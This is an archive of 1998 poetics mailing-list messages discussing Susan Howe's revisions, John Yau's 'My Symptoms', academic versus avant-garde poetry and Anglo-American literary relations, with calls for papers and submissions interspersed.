24. R M Daley
help w/ djuna barnes
Sat 1 Aug 1998

---

can anyone help me out with a bit of digging about?- trying to find out what happened to the work-in-progress found in djuna barnes apt when she died? (according to shari benstock, a poem she had been working on for thirty years) - or point me in the direction of barnes' papers, etc -

or even just carolyn burke's address

thanks

rd

↑ Index

25. Mark DuCharme
Re: the war room
Sat 1 Aug 1998

The title is "Duel." But I don't want a pineapple.

--Mark DuCharme

Bill Luoma wrote:

>
>Todd, yes, but you left out his best film. Starring Dennis Weaver.
>
>I'll send anyone a pineapple who can come up with the title.
>
>I've always wanted to write a treatise about that movie and Killdozer.
>
>Bill Luoma
>
><<
>----------
>Date: Wed, 29 Jul 1998 20:20:42 +0000
>From: toddbaron <[redacted]>
>Subject: the war room
>
>I must say: the discussion on Spielberg seems way out of line for the
>list.
>Not that I'm suggesting a censor --or trying to stop the

discussion--but
>the man as an artist isn't! He rewrites history in a clumsy albeit
>monetary way--see Schindler's List--see that he is in the habit of
>recreating a Heroic mythology--a cartoon strip--and has been quoted as
>saying that "the great war movies of the 40's inspired (him)" Let's see
>
>a film about a shark (which he had to be pushed into doing)
>a film about an alien (a boyhood idea stolen really from Geroge Lucas)
>another film about aliens (WOW!)
>a film about the ATlantic Slave Trade (he was SUED for this one!)
>a film
> a film
> a film?
>
>WHOOPS--I meant "movie"!
>
>Spillberg (no typo) HAS destroyed the film industry--he won that war!
>The great films of the 60s and 70s he single handedly destroyed when he
>found out he couldn't make one! (No "humanity" or "personality" in his
>films! Read RAGING BULLS and EASY RIDERS! His first film was THE
>SUGERLAND EXPRESS--trying to be Altman, trying to be Scorsessem etc!)
He
>was raised on TV for god's sake! The big MACHINERY he p[roduced--the
>studio he saved (UNIVERSAL) they both overtook the great films of Hal
>Asbhy (Harold and Maude, Shampoo, etc--films that made money!), Altman,
>Scorsesee(his great films hardly were released! Yup--Taxi Driver did
not
>make the man wealthy!) Even Coppola (and left him a rather commercial
>idiot I maight say--from Godfather and Apocylypse NOW (a GREAT "war"
>movie--a movie that took a war into the lens--to "Jack" and
>.....)
>
>Phew.
>
>Hey..I guess this is fun!
>
>Back to the poem.....
>
>
>What about poetic Heroes anyway--like Spicer?
>
>Todd Baron

>(ReMap)>>
>

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↑ Index

26. Keith Tuma

Re: the purity the purity (sung to the tune of "the horror the horror")

Sat 1 Aug 1998

Charles writes:

> *Please forgive me if I am repeating earlier conversation. I admit to being away, stopping poetics mail, and not going completely through the archive of the last ten days or so.*
>
> *But a friend just put the July 16 New York Review of Books in my hand. Therein, by some John Bayley, an article on new poetry books by Donald Hall, Frederick Seidel, J.D. McClatchy, Mark Strand, and Edward Hirsch, from which Bayley extracts such overall characterizations of poetry, and contemporary poetry, as . . .*

"Poets must often write to cheer themselves up, and in so doing the good ones can cheer up their readers as well."

Poets rust, often right to beer themselves suds, and in no doing the god ones can near sud their readers as well.

"Poetry works immediately . . . or it doesn't work at all . . . Its function must be, as Mallarme said, to give a purer meaning to our tribal language, and also a more concentrated one."

Poetry woks remedially. . .or it doesn't wok at all. . . Its function must be, as Marmalade said, to give pureed meaning to our tribal lunch, a more concentrated bunch.

"A general impression . . .: how quietly but firmly civilized much American poetry has lately been becoming. It is partly of course the influence of the campus, but, more than that, it may reflect a general nostalgia for civility and civilization as being in the end an inevitable source for poetic culture. Poetic learning in America today is worn easily, seldom irritatingly academic, but also not making apologies for any lack of vox pop elementariness. What would the founding fathers of modernism, and those who wanted with Carlos Williams a plain poetry for cats and dogs, think about these developments? How would Walt Whitman respond? With surprise? Dismay? No, I think he would have liked these poems."

A general's depression. . . : how bitely but wormly nugatory much Apparent poetry has lately been becoming becoming. It is partly a horse the frat boys camped, but, more fat, it may erect a general neuralgia for devilry and egg salad as reading in the rend inevitably hoarse for your pepsi culture. Poetic yearning in America for sale worn easily, seldom irrigated endemic, but also not making apologies for any lack of knocks dad silly. What would the floundering feathers of modernism, and those who vaunted with carloads and billions a vain poetry for rats and hogs, blink about these befuddlements? How would Malt Liquor depend? With a cry? Hooray? Blow, I think he would have spiked these poems.

> ---
>
> *This angers and befuddles me, as I try to imagine what constitutes this "poetic culture" and what kind of "purer meaning" is given "to our tribal language," by a poetry which is praised for being civilized, which seems to mean the same thing as not being irritating, as it collaborates with a general cultural nostalgia.*
>
> *I have a hard time imagining Mallarme or Whitman or Carlos Williams approving.*
>
> *I know the NY Rev of Books is only being itself here, but it's still disgusting.*
>
> *charles*

Not to deny the seriousness of the matter,

KT

↑ Index

27. Erik Sweet

Re: academic as in poetry

Sat 1 Aug 1998

In a message dated 8/1/98 1:51:09 PM, Hoover wrote:

<<It is possible to be avant-garde and also academic; to be mainstream and also non-academic.
>>

Hoover, and to all: I thought it obvious that to be all that is stated above is not a one sided endeavor...the question of mainstream has always bothered me. In music, art, government the mainstream has always been defined as reaching

the masses or manipulated and argued through the public presses. Mainstream I believe is a concept, an idea that is in flux.

There is as Hoover states, a mainstream of the non-academic or avante-garde, i.e. I would say... Naropa etc..something that is pretty well known through media via Ginsberg, Kerouac... and which holds to a tradition of avante-garde or non-academic? poetical style. Naropa is good, the more that know of it...only the better things can be. Academic as a "notion" means so many things to so many people... is at core a good force, it means scholarship, discussion..and whatever "frame" people want to put around it (good, bad) it will always mean possibilty and growth to me, whether it is T.S. Eliot's disciples or some language poetry influenced young poet teaching...

erik sweet

↑ Index

28. Lisa Samuels

Re: My Definition of Academic

Sat 1 Aug 1998

---

shaunanne, eric, charles, alan, &c, first, thanks to shaunanne for your academic example. it resonates. it isn't so simple as being happy to be 'in' because this seems like a good job, i don't think -- after a decade of university (a decade of no salary to speak of) and tens of thousands in debt, it doesn't seem that tremendous to be making what a good administrative assistant would be making at any number of strong businesses i can think of. so there's that. more problematic for me is the much-talk-of corporatization of the university. that has made faculty (mainly of course younger, non-star-class) less important in the university structure. more painfully (and as i've also seen discussed), it is making students feel more like consumers, as if they needed more excuses to resent the degree-conferring power of institutions. as for the effect of practising writers in the academy, i can't generalize -- right now it seems their influence is scattered, though presumably it exerts some centripetal force toward whatever we imagine the academic center of america to be. when i was an educational advisor in yemen, i used to tell aspiring middle eastern students that there were upwards of 2500 institutions of higher education in the states. but back here it seems we're almost always talking only of conditions and definitions in about 100 schools. i'm happy to be 'in,' then, but it's difficult, and not least because of having to negotiate the very ideals -- ideals that are necessarily compromised because institutions are institutionalizing -- that make being 'in' seem so attractive from 'outside'.

lisa samuels

↑ Index

29. **dbkk**

Two new books I've read

Sat 1 Aug 1998

Two new books appeared on my desk this week, both short little books and very worth your while. The first was "Addenda," by Susan M. Schultz, a handsome little book from Joel Kuszai's estimable Meow Press. Schultz read the last part of "Addenda" at a reading here on Sunday in San Francisco; it's sparked with inane quotations allegedly from supermodels, "Once I got over my anger at my mother, I became adept at volleyball, and modelling," says Gabrielle Reece. Schultz uses these promising materials to produce her own meditations on excellence, generation roles, the look of the page and poem, the extension of poetic technique into blocks of pure prose.

The other book is "Not Right Now," by Renee Gladman, from Second Story Books, a Proliferation Imprint. This book, promises editor Mary Burger, is the first in a series of "New Narrativist" books of prose written by poets--poets exploring prose as one might wander through a new continent. I have long admired Gladman's work, and here in San Francisco we know her as a fascinating poet, but until recently her reputation has been a local one (though she appears in the Talisman anthology of "New (American) Poets"). "Not Right Now" is a kind of reduction/recut of Kerouac's "Subterraneans," glistening at its essence, asking the question, what would happen if San Francisco's Mission District were a kind of sexual, interracial beat bohemia, with a young, black, short, mustached Lesbian at its center? "The day I was no longer a transcriber, I decided to be a weight historian. To go out and find things as they lie and then write a book about them."

Both these books will in time I guess be available at Small Press Distribution, but Mary Burger who published "Not Right Now" is reachable through e-mail at [redacted].

I forgot to say how beautifully designed these books are, whatever happened to the days when nine times out of ten the poetry you wanted to read was bound in those execrable covers that made a cat wince.

Thanks everyone!

↑ Index

30. Peter Balestrieri
Re: crabby bull
Sat 1 Aug 1998

> Henry Gould wrote:
> I read Nabokov (in high school) & Mandelstam (in my 20s) just for relief
>
> Say Hank,
> How about "the crabby elitist ego-noise of Henry Gould"
>
> Affectionately,
> P. "Bull Roar" B.

↑ Index

31. trbell
anglo/amer yeatspound and pounding yeats
Sat 1 Aug 1998

The recent disjunctive synthesizing dichotomy discourses here raise a couple of questions for me:

1. Is it not possible (nay, even desirable) to begin with disjunction and move to synthesis?

2. If there is disjunction in the world (e.g., WWI, WWII, WWWIII) is it _____ to not account for it in synthesizing?

_____ a. foolishness
b. cheerful
c. pure of heart
d. all of the above

↑ Index

32. trbell
Re: crabby bull
Sat 1 Aug 1998

I was even suspended for reading _Lolita in class, and I'm not sure whether Osip in Russian would be classified as a follower of Yeats or Pound, or someone who didn't care one way or the other. It seems to me that perhaps the Yeats-pound split and the Anglo/American split/ reunion may be missing some other lits/langs?

yom bell
At 05:15 PM 8/1/98 -0700, you wrote:

> Henry Gould wrote:
> I read Nabokov (in high school) & Mandelstam (in my 20s) just for
> relief
>
> Say Hank,
> How about "the crabby elitist ego-noise of Henry Gould"
>
> Affectionately,
> P. "Bull Roar" B.
>
>

↑ Index

33. Mark Weiss
Re: John Yau's MY SYMPTOMS
Sat 1 Aug 1998

I had to look up the comment of mine that triggered Chris'apparently annoyed response "I do not grant Mark Weiss the authority I grant you in this matter, since I am more suspicious of a male judging another male as sexist." Here's the entirety of what I said: "This (the Yau) is shockingly cliched." This was a gut reaction to the quality of the writing, not the morality or politics. I have no idea where Yau stands on these matters or how he gets along with his wife.

Some years ago I dated a woman named Laurie Lewin (her nom de plume--her name de danse was Lolita) who had been a stripper until shortly before our relationship. She wrote a pretty good insider's look at the world of stripping (although the publisher insisted that what had been in its first draft an autobiographical and theoretical discussion and a series of oral histories be recast novelistically). Wish I could give a better reference--it was from a major press and should be out there somewhere. She speaks, I think, with some authority. Her motivations and those of the other dancers were, as I remember, extremely complex.

It would be interesting, Chris, if you could do so non-combattively, to hear an explanation of why you are suspicious of males judging males as sexist. Are there other categories to be aware of? Or are you just defending a friend's writing? I'd also like to know where you got your authority-granting privileges--I could use some of those myself.

At 10:04 AM 7/31/98 -0400, you wrote:
> Thanks, Karen Kelley, for your reponse....Well, spilling it (or
> stripping it--since strippers are artists), I have many responses--
> only some of which I can touch on here. One would be to ask you how

> YOU would represent what goes on in the mind of a stripper (or
> to direct me to work of yours that deals with this)....
> Another response would be to agree with you (up to a point):
> Let's say that--in the particular passages you quote--that Yau
> is probably closer to what men think women are than to the
> actuality of a woman who may strip her clothes but yet not
> "Spill it" (her mind). But, if you look at the entire book
> (in which there are a variety of female characters, some as "I"
> and some as "she"), or even if you look at this particular piece
> in question IN ITS ENTIRETY, you might find that at least Yau is
> self-conscious (and meta) enough to admit this possibility (even
> the choice of title of the book, MY SYMPTOMS, calls attention to
> the possibility that the female speaker is a "masked male" etc...
> (a la Shakespeare)....
> I wonder if women who represent male characters in ways that might
> seem "stereotypical" or "derogatory" (or "positively" even) have the
> same problem (I'm not saying that I don't like reading such writing
> by the way: I learn much from it). Certainly not every woman writer
> is as extreme as Jane Austen who never had a scene in which two male
> characters appear without any women in the the scene (because she
> only wrote "what she knew"), nor am I suggesting they should do so....
>
> I don't know enough about how dancers are "stereotyped" to comment
> on whether Yau is, in fact, doing it. In my experience (admittedly
> little) with strippers, the "stereotype about strippers" is "we only
> do it for the money. We get little or no intrinsic thrill out of
> exhibitionism, and we certainly see it more as humiliation than as
> any kind of 'grrrl power' over men." And in this particular story
> (which is good, but not--in my opinion, one of the best pieces in
> MY SYMPTOMS--I say this by way of "sales pitch" I guess), Yau goes
> very much against THAT stereotype, and yet elsewhere in MY SYMPTOMS
> he sympathetically portrays a woman who "had been a model, it was
> her boyfriend's idea. He brought her to New York when she was 17
> and finally pushed her up the stairs the agency, even though she had
> been crying non-stop for two days."(120). So, I think we see a range
> here of attitudes towards female exhibitionism rather than an AGENDA
> proferring "proper" female roles. And if both these characters--
> taken alone--may run the risk of becoming "stereotypes," I believe
> that by offering a range, these "stereotypes" cancel each other out
> (again, like Shakespeare presenting both a Beatrice and a Hero in
> the same play for instance--so the "truth" can be somewhere "in
> between" for a wider range of readers...)...

>
> Besides, you take OUT OF CONTEXT a few quotes that all occur near
> the beginning (in the first 2 pages) of an 8 page story. In "Butcher,
> Baker..." the woman is only a stripper for the first two pages. Later
> on, the woman character, an EX-stripper, single-mother, is expressing
> her attraction to firemen, and raises all these doubts about her
> motivations: "i don't know why I have this thing about firemen, but
> I do...maybe it's because I think in metaphors and I should learn to
> think some other way..." (Yau himself a metaphorical thinker, going
> against the traditional anti-metaphorical prejudice that linked
> metaphor and women, in Locke, in Renaissance Rhetoricians like
> Puttenham, etc., though nowadays some claim it's a feminist argument
> to argue AGAINST metaphor....blah blah).
> Now, I see what happens here as an inversion of an "archetypal"
> stereotype here....the traditional linkage of women with water
> and men with fire (as in LYSISTRATA, another man putting words in
> the mouth of a woman, or in Jagger's "She's So Cold" for instance)
> and then, and I think this also goes beyond stereotype, the female
> character starts expressing a desire for a FIREWOMAN. There's both
> an unstereotypical lesbian dimension here, as well a desire on the
> character's part to BECOME a firewoman ("a woman who fights fires.
> They have to give her her due and treat her like a man. She's on
> the line with them..."),
> so this woman character tries on quite a few "non-traditional" roles
> in the course of this piece. This piece is --on one level--about
> whether identity is contingent not only on gender (or sex), but also
> one ones choice of profession (a la Harryman). And I am curious what
> you, Karen kelley, have to say about this (though I do not grant Mark
> Weiss the authority I grant you in this matter, since I am more
> suspicious of a male judging another male as sexist,) and I have more
> to say on this (but will save it for the longish essay I want to
> write on this book--if I can find a publisher who will make room
> for my logorrhea), but wanted to express some of these points here
> in this forum, in the interest of dialogue....
> Again, thanks, for responding.....
> Chris Stroffolino
>
>On Mon, 27 Jul 1998, Karen Kelley wrote:
>
>> Hi Chris,
>>
>> Good call: it IS "Butcher, Baker..."

>>
>> "I'm a dancer who makes men spin in their graves, gets them to yell 'bay bee,'
>> whisper 'gosh' and 'honey,' and dream of 'whoopee.'"
>>
>> "Fate got warm with me, dealt me a flush. So I'm packaged right for the job. I have
>> an easygoing, cornstalk smile; I'm tall and tilted just enough so short guys don't
>> have to crane their little necks and hurt themselves. I can crouch and rise smooth as
>> a wave. Twist and twirl until their brains turn to jellyfish bobbing in a beer
>> bottle."
>>
>> "Early on I learned that men like to be swatted a little if you do it right and put
>> on your girl-next-door smile while shaking your assets just beyond reach. I had tits
>> and a smile that gave men cramps."
>>
>> This seems *extraordinarily* off-base as a representation of what a woman might think
>> when contemplating male reaction to her body. Admittedly I am *one* woman among many.
>> But I wonder if perhaps Yau isn't closer to what *men* *think* women think.
>>
>> When I first read the piece I felt guilty about finding it an amusing read when it
>> was so clearly a man's idea of a woman's feelings. And as someone who's held the same
>> job as the narrator, I'm aware of how routinely dancers are stereotyped.
>>
>> It sounds like you felt differently about the piece, Chris. C'mon, spill it.
>>
>> Karen
>>
>>
>> louis stroffolino wrote:
>>
>> > Dave Baratier asks what "cross-gendered identification" is.

>> > I guess I just meant the term simply (if loosely) to mean
>> > when someone of one gender and/or sex adopts or takes on
>> > the voice of someone of another gender and/or sex....
>> > I didn't say that YAU was NEW for doing that....
>> > but then "make it new" has never been much of a standard for me
>> > (see Mike Magee's intro to his mag COMBO for a view I largely share)
>> >
>> > Karen Kelley. COuld you tell me which particular piece of Yau's was
>> > in First Intensity? My hunch is you're talking about a piece called
>> > BUTCHER, BAKER, or CANDLESTICK MAKER, but I'd like to know
more
>> > specifically before I respond....Because I'm curious about what
>> > you mean by "stereotypical" and why you think the piece you read is
>> > so.....
>> > Thanks, chris stroffolino
>> >
>> > On Thu, 23 Jul 1998, Karen Kelley wrote:
>> >
>> > > I recently read something of Yau's in a mag--was it First Intensity?
I'm
>> > > sorry--I can't recall, but it was perhaps from the new book & was
the narrative
>> > > of a stripper & I found it rather disturbing in that the narrator
was kind of
>> > > dumb & angry & thought highly of her breasts (no prob with that in &
of itself)
>> > > & little of men in general--she was kind of a jaded line drawing of a
>> > > woman--with the interior monolog of a stereotype, which I suppose is
okay,
>> > > though as this thread goes to show, the whole male/female or
masc/fem question
>> > > is much more complex than Yau's piece implied, and I guess I just
felt annoyed
>> > > that he was willing to throw another stereotype my way.
>> > >
>> > >
>> > >
>> > > louis stroffolino wrote:
>> > >
>> > > > Has anybody here read Yau's new Black Sparrow book?
>> > > > In it, there is much "cross-gendered identification"
>> > > > that---though it is written by a male--seems to, er,

>> > > > "rupture patriarchal discourse" and could serve as
>> > > > a complement to, say, Carla Harryman who also engages
>> > > > in "cross-gendered" identification. I think Yau does
>> > > > a very good job at trying to speak AS woman "other"
>> > > > and negotiating the representational anxieties that
>> > > > might attend the "presumption" of such a task.....
>> > > > but would be very interested to hear opposing views....
>> > > > chris stroffolino
>> > > >
>> > > > On Wed, 22 Jul 1998, Linda Russo wrote:
>> > > >
>> > > > > Rah rah.
>> > > > >
>> > > > > I'm glad to see Safdie Joseph annoyed with the
>> > > > > "position" that feminism had seemed to put Todd in (in reading the
>> > > > > original post, before Todd's brilliant comeback) -- as
>> > > > > an apologist. Elizabeth Treadwell makes the same point as well (though I
>> > > > > have definite issues with Postfeminist Playground, for another post).
>> > > > >
>> > > > > I wish we could just do away with the gender essentialism which causes so
>> > > > > many with physical bodies to feel they have to apologize for some
>> > > > > appendage or other. I'm intrigued by the problems women (and other
>> > > > > 'others') face in trying to enter the current the forums/debates etc.
>> > > > > -- very material problems (as Woolf pointed out early on) rooted in
>> > > > > patriarchal biases.
>> > > > >
>> > > > > But it's more fruitful to continue mucking things up, to keep getting
>> > > > > more and more challenging writing published, to continue framing
>> > > > > experiment as a rupture of "patriarchal laws" (Kristeva's argument; what
>> > > > > Woolf recognized as "convention," what Bernstein has called "populist
>> > > > > realism" etc) -- to recognized that oppression is at work, even that
>> > > > > gender oppression is at work, but to quite calling the
>> > > > > counter/re/active strategies "feminine"! or to call it feminine

and stop
>> > > > > stop linking this to (women's) biology! Or we all really do
have the
>> > > > > Anxiety of Influence -- we're all a bundle of nerves!
>> > > > >
>> > > > > Until we get some intelligent conversation going
>> > > > > to reframe the issues (and reframe them for feminist literary
scholarship)
>> > > > > we're going to be beaten over the heads with said appendages.
(Not that it
>> > > > > isn't out there -- Judith Butler, for example -- But to what
extent has it
>> > > > > made its way into contemporary poetics discussions?)
>> > > > >
>> > > > > Todd's comeback:
>> > > > >
>> > > > > > being "stuck' has to do with our discussion of (bad
spelling...er..)
>> > > > > > gender roles and structures in poetics. If one is aware of a
gender role
>> > > > > > or gender model--then I believe on is "stuck" within the
defintion and
>> > > > > > confinement of terminology. I do not believe tho that one is
punished or
>> > > > > > "jailed" as in "stuck in prision..stuck in my room". The thing
is that
>> > > > > > "stuck" is structure--if one identifies patterns as either
male or
>> > > > > > female--but I agree with others when they notice that
structures in
>> > > > > > poetics are male--in that they derive from male poets and male
>> > > > > > narratives--how else would the Epic, the sonnet, etc. have
found their
>> > > > > > way here--now--in their forms. Your Marxist response negates
that
>> > > > > > economics is gender and age (and race) based also. Very much
so--are
>> > > > > > structures of Marxism (poor ms. marx and his daughters) and
Capitalist
>> > > > > > Democracy/etc ("Free Market") based on a male pattern
(baldness?) power
>> > > > > > elite-thus yes economics determine us--BUT--those economics

are not--are
>> > > > > > not ---"impersonal economic forces..." --
>> > > > > >
>> > > > > > never impersonal.
>> > > > > >
>> > > > > > Tb
>> > > > > >
>> > > > >
>> > >
>>
>
>

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34. Christian Roess
Re: Susan Howe
Sat 1 Aug 1998

My public library has 3 copies of Susan Howe's _Articulations of Sound Forms in Time_ published by AWEDE (Box 376 Windsor, Vermont 05089) in an edition of 1000 copies (in 1987). But now I've just recently seen it is included in _Singularities_. I don't have both versions in front of me. . . so I may be off here, but . . .

This is a radical revision, isn't it? I had a more difficult time with the version in _Singularities_ (which doesn't mean that this version of Articulation of Sound Forms In Time is necessarily better or worse).I suppose I have to undercut my presumptions about what's happening, really 're-read' it, but the 1987 version seems more lyrical to me and somehow more "accessible".

Since there is much recent discussion of Howe on the list, maybe some out there have comments or opinions about the original vs. revision of this poem. I suppose I should buy _Singularities_ . I've been reading it in the bookstore.

Just curious. The Awede edition of AOSFIT mentioned above is the most intense experience of Howe (for me) so far. Although, a poem which appeared recently in _Conjunctions_ is an incredible poem , too.

Chris

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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35. Mark Weiss
Arthur Dove
Sat 1 Aug 1998

For those of you who can get to LA, the just-opened Arthur Dove retrospective at the LA County will change your lives.

↑ Index

36. Mark W Scroggins
Re: Susan Howe
Sat 1 Aug 1998

And for those who want to pursue this thread, isn't the version of _Bibliography of the King's Book_ included in _Nonconformist's Memorial_ different in some really significant ways from the paradigm press edition? In this case, it seems something of a simplifying, rather than a making more difficult. Mark Scroggins

On Sat, 1 Aug 1998, Christian Roess wrote:

> *My public library has 3 copies of Susan Howe's _Articulations of Sound Forms in Time_ published by AWEDE (Box 376 Windsor, Vermont 05089) in an edition of 1000 copies (in 1987). But now I've just recently seen it is included in _Singularities_. I don't have both versions in front of me. . . so I may be off here, but . . .*
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> *This is a radical revision, isn't it? I had a more difficult time with the version in _Singularities_ (which doesn't mean that this version of Articulation of Sound Forms In Time is necessarily better or worse).I suppose I have to undercut my presumptions about what's happening, really 're-read' it, but the 1987 version seems more lyrical to me and somehow more "accessible".*
>
> *Since there is much recent discussion of Howe on the list, maybe some out there have comments or opinions about the original vs. revision of this poem. I suppose I should buy _Singularities_ . I've been reading it in the bookstore.*
>
> *Just curious. The Awede edition of AOSFIT mentioned above is the most intense experience of Howe (for me) so far. Although, a poem which appeared recently in _Conjunctions_ is an incredible poem , too.*
>
> *Chris*
>
> _____
> *Get free e-mail and a permanent address at http://www.netaddress.com/?N=1*

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37. George Bowering

call for papers, etc.

Sun 2 Aug 1998

--==========_-1310115618==_==========

> *hey, can you tell us more about this bpNichol conference in september? dates, players, schedule, contact person etc?*

Yep

--==========_-1310115618==_==========

Date: Mon, 29 Jun 1998 23:26:08 -0700 (PDT) X-Sender: [redacted]
From: [redacted] (Robert Manery) Subject: bp Nichol conference

On the H Orizon: bpNichol After Ten
Vancouver B.C.
September 25-25, 1998

West Coast Line is pleased to welcome submissions which will be considered for a tribute to the work of bpNichol at an event recognizing Nichol's achievement and continuing influence on contemporary Canadian writers. To this day, Nichol remains one of Canada's most prolific, innovative and influential writers. The conference/tribute will showcase Nichol's work and draw attention to the continuing formation of a poetics that involves a community of emerging writers and critics from across Canada.

Presentations will be a maximum of 15 minutes and may consist of creative, critical, theoretical or performance work that addresses or bounces off bpNichol's poetics.

Please send a brief proposal and a one page CV, including publications/performances to:
West Coast Line
c/o Miriam Nichols
103 - 1738 Frances Street
Vancouver, B.C. V5L 1Z6
or fax [redacted]

Deadline for proposals: 20 July 1998

We regret that we cannot provide financial assistance.

Please pass this notice to other Nichol fans.
--==========_-1310115618==_==========

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

--==========_-1310115618==_==========--

↑ Index

38. Douglas Oliver
Re: anglo-american literary relations
Sun 2 Aug 1998

Ah, here I am at our Parisian breakfast-time, cursing because the fusebox has struck out at my computer, Alice is prowling around wildly thinking while I use her strip plugs, and way over there Linda Russo is, at last, abed.

Sweet dreams of Anglo-American literary relations, Linda!

I was really glad to see Marjorie Perloff take up this important theme of cross-Atlantic relationships picking up again. On the academic-small presses thread, I'll add that Britain hasn't suddenly awoken from some dark medieval night: it may seem like that. The small press scene remained highly active from the sixties to the nineties and the "Other" anthology will show, I think, how the poets who kept active during the difficult eighties were writers of particular mettle.

Lawrence Upton is right to mention the role of the young generations and Miles Champion has made an early reputation, agreed. If, as it appears from the Introduction to "Other" his work is not to be represented there, he is not alone among the younger writers, and his turn in the anthologies, it seems clear, will come. See my suggestion for a trans-Atlantic anthology of the younger work.

Doug

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39. Charles Alexander
Re: My Definition of Academic
Sun 2 Aug 1998

> *In large part, in the "wars" (as someone has just called 'em) that have raged since 1975 around experimental poetries, it is mostly the academics who've championed neo-babbitism, the non-academics who've been focused on the real issues...*

just a note -- I'm interested in your dating these wars as "since 1975," particularly as I remember a poet grad student at U-Wisconsin, but from Texas, in the early '80's, who at the time it seemed was being groomed by Wisc. poet Ron

Wallace. When arguing with this poet about these very experimental/academic issues, his take on it at the time was that these wars had been fought quite a few years before, and the "experimentalists" had lost, so why are we talking about these things any more?

Yes, talk about a failure to communicate . . .

but seriously -- any particular reason why 1975 sticks out to you as the beginning of these raging wars?

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

40. Hugh Steinberg
Re: Susan Howe
Sun 2 Aug 1998

Check out her collected early poems, _Frame Structures_, and compare to the earlier versions: many revisions there too. There is much in her work that changes from version to version, which is wonderfully congruent to the content of her poems.

Hugh Steinberg

> *And for those who want to pursue this thread, isn't the version of _Bibliography of the King's Book_ included in _Nonconformist's Memorial_ different in some really significant ways from the paradigm press edition? In this case, it seems something of a simplifying, rather than a making more difficult.*
> *Mark Scroggins*
>
> *On Sat, 1 Aug 1998, Christian Roess wrote:*
>
> *My public library has 3 copies of Susan Howe's _Articulations of Sound Forms in Time_ published by AWEDE (Box 376 Windsor, Vermont 05089) in an edition of 1000 copies (in 1987). But now I've just recently seen it is included in _Singularities_. I don't have both versions in front of me. . . so I may be off here, but . . .*
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> *more "accessible".*
>
> *Since there is much recent discussion of Howe on the list, maybe some out there have comments or opinions about the original vs. revision of this poem. I suppose I should buy _Singularities_ . I've been reading it in the bookstore.*
>
> *Just curious. The Awede edition of AOSFIT mentioned above is the most intense experience of Howe (for me) so far. Although, a poem which appeared recently in _Conjunctions_ is an incredible poem , too.*
>
> *Chris*
>
> _____
> *Get free e-mail and a permanent address at http://www.netaddress.com/?N=1*

↑ Index

41. Charles Alexander

Re: My Definition of Academic

Sun 2 Aug 1998

> *For a few years, when David Wilke was the head of the NEA lit division, it looked*
> *like that at least part of that might change, but, alas! Reagan,etc.*
>
> *Don*

Yes, at the time David Wilk left the NEA I had just started a press, and had, directly through David's urging, applied for a first NEA press editor's grant and received it -- at the time such things could even be done without non-profit status for the press, if applying as an individual editor. I remember David stated that if Reagan was elected, he would quit. At the time that move seemed wise, perhaps even an important statement. But in retrospect, I wish David had stayed there a while longer -- not that things wouldn't have eventually changed, with advent of Reaganism, rise of religious right, etc.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

42. Charles Alexander
Re: My Definition of Academic
Sun 2 Aug 1998

At 08:33 AM 8/3/98 -0700, you wrote:
>Of course the war in question goes back to the end of WW 2, with a major
>public battle fought over Howl when it first went public and again when it
>was published.

or further. I remember one older professor who, as late as the early 1980's, was claiming that Ezra Pound brought on the death of poetry.

c

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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43. Robert J. Tiess
Call for Submissions
Sun 2 Aug 1998

| Call for Submissions - POETFEST - Calling All Poets |

POETFEST, a series of free anthologies published on the
Internet, is seeking material for its upcoming
collection, MEMORIES. All poets are welcome to submit.

For guidelines please visit

http://www.geocities.com/Athens/Acropolis/7101

The current collection, INSIGHTS, is also freely available for your reading enjoyment.

Note: New anthologies will now be archived at Poetfest.

Please share this annnouncement with your fellow poets
and poetry lovers, wherever such notices are welcome.

| Call for Submissions - POETFEST - Calling All Poets |

-

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44. Maria Damon
Re: call for papers, etc.
Sun 2 Aug 1998

hey bowering this cfp lists the conference dates as sept 25-25. is that right? thanks for the info.

At 9:27 PM -0700 8/1/98, George Bowering wrote:
>>hey, can you tell us more about this bpNichol conference in september?
>>dates, players, schedule, contact person etc?
>
>Yep
>
>Attachment converted: PB 1400CS:bp_Nichol_conference (TEXT/ttxt) (00001B37)
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]

↑ Index

45. Maria Damon
fwd: new journal; please forward
Sun 2 Aug 1998

From: "Shikha Malaviya" <[redacted]>
To: <[redacted]>
Subject:
Date: Thu, 30 Jul 1998 15:05:05 -0500
Importance: Normal

Introducing the website of 'Monsoon,' an on-line journal of South Asian Culture and Literature, located at:

http://www.monsoonmag.com

Monsoon's mission is to promote a more positive understanding and appreciation of the diversity (culture, nationality, geography, etc.) that is South Asia and the South Asian Diaspora, while flooding the literary world with the most

talented writers of prose and poetry as well as create a greater dialogue on issues concerning South Asia.

Monsoon's first issue will debut this fall. Currently the site contains guidelines, links, contact information, a sample of what lies ahead, and other related information. We are currently accepting submissions for autobiographical sketches, essays, fiction, interviews, poetry, reviews, and translations that range from earthy to experimental.

Won't you join us in making Monsoon the best on-line literary journal on the web? Send us your submissions and/or suggestions, and spread the word!!!

We look forward to hearing from you soon!

Shikha Malaviya
Publisher/Editor

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46. David Clippinger
Re: Susan Howe
Sun 2 Aug 1998

I asked Susan Howe about the differences between the original "small press" issues and the versions published in _Singularities_, to which she informed me that because of spatial constraints dictated by Wesleyan UP, she had to edit down/edit out material.

I would agree that the changes certainly create further difficulties by lessoning the number of threads for the reader to follow and consider.

All best,

David

At 09:51 PM 8/1/98 -0400, you wrote:
>My public library has 3 copies of Susan Howe's _Articulations of Sound Forms in Time_ published by AWEDE (Box 376 Windsor, Vermont 05089) in an edition of 1000 copies (in 1987). But now I've just recently seen it is included in _Singularities_. I don't have both versions in front of me. . .
so I may be off here, but . . .
>
